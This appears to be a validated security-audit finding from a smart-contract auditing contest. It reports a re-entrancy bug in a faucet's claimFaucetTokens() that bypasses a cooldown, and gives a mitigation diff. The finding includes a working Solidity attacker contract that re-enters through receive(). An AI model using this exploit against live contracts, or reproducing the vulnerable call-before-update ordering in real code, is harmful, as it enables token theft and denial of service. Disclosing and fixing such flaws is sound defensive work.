Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Re-entrancy in claimFaucetTokens() Allows Cooldown Bypass

Root + Impact

Description

  • The contract intends to enforce a 3-day cooldown (CLAIM_COOLDOWN) per user for claiming ERC20 tokens. This is tracked by updating the lastClaimTime for a user after a successful claim.

  • The contract violates the Checks-Effects-Interactions security pattern. It sends ETH to a user via a low-level .call before updating all state variables, specifically lastClaimTime and dailyClaimCount.

  • An attacker can use a malicious contract with a receive() or fallback() function to re-enter the claimFaucetTokens() function. Because lastClaimTime has not yet been updated, the cooldown check passes on every re-entrant call, allowing the attacker to claim tokens repeatedly within a single transaction.

// Root cause in the codebase with @> marks to highlight the relevant section
function claimFaucetTokens() public {
// ... all CHECKS are performed ...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
if (/* conditions met */) {
hasClaimedEth[faucetClaimer] = true; // First Effect (Good)
dailyDrips += sepEthAmountToDrip;
@> // INTERACTION (External Call)
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
// ...
}
}
@> // These EFFECTS happen AFTER the interaction (Vulnerable)
@> lastClaimTime[faucetClaimer] = block.timestamp;
@> dailyClaimCount++;
// Second INTERACTION (ERC20 transfer)
_transfer(address(this), faucetClaimer, faucetDrip);
// ...
}

Risk

Likelihood:

  • Reason 1: Exploiting this requires a custom-written smart contract, making it more complex than other vulnerablities. This lowers the likelihood from High to medium.

  • Reason 2: The conditions for the re-entrancy (being a first-time ETH claimer) are straightforward for an attacker to meet.

Impact:

  • Impact 1: The per-user cooldown, a primary security mechanism of the faucet, is completely ineffective against a contract-based attacker.

  • Impact 2: An attacker can claim a disproportionately large number of tokens, potentially hitting the dailyClaimLimit quickly and causing a denial of service for legitimate users.

Proof of Concept

An attacker deploys a contract that re-enters the faucet upon receiving ETH.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
interface IRaiseBoxFaucet {
function claimFaucetTokens() external;
function getFaucetTotalSupply() external view returns (uint256);
function faucetDrip() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
}
contract Attacker {
IRaiseBoxFaucet public faucet;
uint8 public reentryCount;
constructor(address faucetAddr) {
faucet = IRaiseBoxFaucet(faucetAddr);
}
// Start the attack (call this from an EOA)
function startAttack() external {
faucet.claimFaucetTokens();
}
// When the faucet sends ETH to this contract, re-enter claimFaucetTokens()
receive() external payable {
// Re-enter a few times while faucet still has tokens
if (reentryCount < 4 && faucet.getFaucetTotalSupply() > faucet.faucetDrip()) {
reentryCount++;
faucet.claimFaucetTokens();
}
}
}

Recommended Mitigation

Strictly adhere to the Checks-Effects-Interactions pattern. Ensure all state changes (Effects) are made before any external calls (Interactions).

function claimFaucetTokens() public {
// ... all CHECKS ...
+ // === MITIGATION: Apply all state changes (EFFECTS) before external calls ===
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
+
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}(""); // INTERACTION
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
// ... emit skip event ...
}
}
- // VULNERABLE: Effects happen after interaction
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 8 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.